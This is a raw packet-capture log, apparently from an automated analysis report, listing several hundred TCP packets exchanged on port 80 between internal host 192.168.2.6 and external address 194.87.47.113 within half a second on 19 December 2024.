Dec 19, 2024 08:09:37.679495096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.679636002 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.680567980 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.680656910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.680845976 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.681802034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.681916952 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.682020903 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.683021069 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.683089018 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.683141947 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.684277058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.684375048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.684546947 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.685482979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.685589075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.685642004 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.686702967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.686786890 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.686928034 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.687906981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.688043118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.688394070 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.689136028 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.689239979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.689342022 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.690334082 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.690449953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.690608025 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.691556931 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.691659927 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.691771984 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.692775965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.692883015 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.693120956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.693980932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.694113016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.694219112 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.695195913 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.695307016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.695503950 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.696412086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.696508884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.696810961 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.697633028 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.697757006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.698642969 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.698925018 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.698997974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.700108051 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.700197935 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.700223923 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.700283051 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.701378107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.701476097 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.701539993 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.702507973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.702641964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.703722000 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.703825951 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.703850985 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.704853058 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.705029011 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.705199003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.705324888 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.706084013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.706207037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.706360102 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.707297087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.707376003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.708466053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.708596945 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.708626032 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.708782911 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.709681988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.709796906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.709923029 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.710884094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.711039066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.711138010 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.712138891 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.712277889 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.712358952 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.713262081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.713396072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.713613033 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.714446068 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.714602947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.714881897 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.715652943 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.715761900 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.715872049 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.716816902 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.746053934 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.746103048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.746211052 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.746546030 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.746716976 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.746792078 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.746905088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.747909069 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.748013973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.748044968 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.749051094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.749082088 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.749165058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.750166893 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.750267029 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.750293970 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.751300097 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.751425028 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.751454115 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.751552105 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.752427101 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.786503077 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.786536932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.786566973 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.786792040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.786911964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.787405968 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.787858963 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.787986994 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.788506985 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.788923979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.789027929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.789644957 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.790057898 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.790100098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.790406942 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.791053057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.791167974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.791189909 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.792113066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.792159081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.792783022 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.793231010 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.793344975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.793359995 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.794209957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.794338942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.794440031 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.795263052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.795383930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.795517921 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.796325922 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.796611071 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.865997076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.866075993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.866202116 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.866276026 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.866349936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.866713047 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.867372990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.867449999 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.867667913 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.868426085 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.868479013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.868587971 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.869465113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.869517088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.870542049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.870629072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.870656967 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.870688915 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.871551037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.871675968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.871814013 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.872652054 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.872785091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.873390913 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.873701096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.873861074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.874752045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.874893904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.874902964 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.875005007 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.875797987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.875914097 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.876060009 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.876831055 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.876950979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.877249956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.877906084 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.877995968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.878941059 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.879057884 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.879184961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.879307985 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.879997969 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.880115986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.880326033 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.881093979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.881216049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.881392002 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.882143974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.882261038 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.882374048 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.883193016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.883279085 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.883838892 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.884268999 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.884437084 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.884599924 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.885571003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.885673046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.885819912 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.886385918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.886502981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.886620045 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.887362957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.887490988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.887553930 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.888464928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.888633966 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.889251947 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.889530897 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.889619112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.889740944 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.890527964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.890655994 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.890822887 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.891601086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.891752958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.891947985 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.892667055 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.892716885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.892858982 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.893719912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.893874884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.894778967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.894855022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.894884109 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.894901991 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.895822048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.895934105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.896290064 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.896945953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.896994114 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.897142887 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.897975922 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.898085117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.898478031 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.898977041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.899101973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.899375916 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.900034904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.900136948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.901036978 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.901072025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.901175022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.902194977 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.902230024 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.902255058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.903171062 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.903289080 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.903301954 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.903382063 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.938352108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.938397884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.938621044 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.938891888 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.939006090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.939896107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.940047026 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.940264940 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.940371037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.940398932 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.941330910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.941440105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.941612005 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.942389011 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.942493916 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.942529917 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.943428040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.943480968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.943516970 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.944458008 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.944958925 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.978950977 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.979139090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.979454041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.979458094 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.979535103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.980523109 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.980644941 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.980654001 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.980787992 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.981663942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.981807947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.982450008 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.982635975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.982779980 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.983679056 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.983768940 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.983850956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.983977079 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.984713078 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.984848022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.985243082 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.985778093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.985878944 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.985996008 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.986831903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.986933947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.987899065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.987951994 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.987981081 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.988435984 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.058681965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.058837891 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.059119940 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.059200048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.059346914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.060204983 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.060347080 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.060648918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.060755014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.060817957 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.061690092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.061788082 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.061821938 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.062742949 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.062813044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.062845945 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.063852072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.063947916 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.063961029 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.064857006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.064958096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.065157890 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.065882921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.065995932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.066123962 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.066947937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.067068100 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.067102909 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.068043947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.068121910 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.068156004 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.069063902 CET	80	49862	194.87.47.113	192.168.2.6
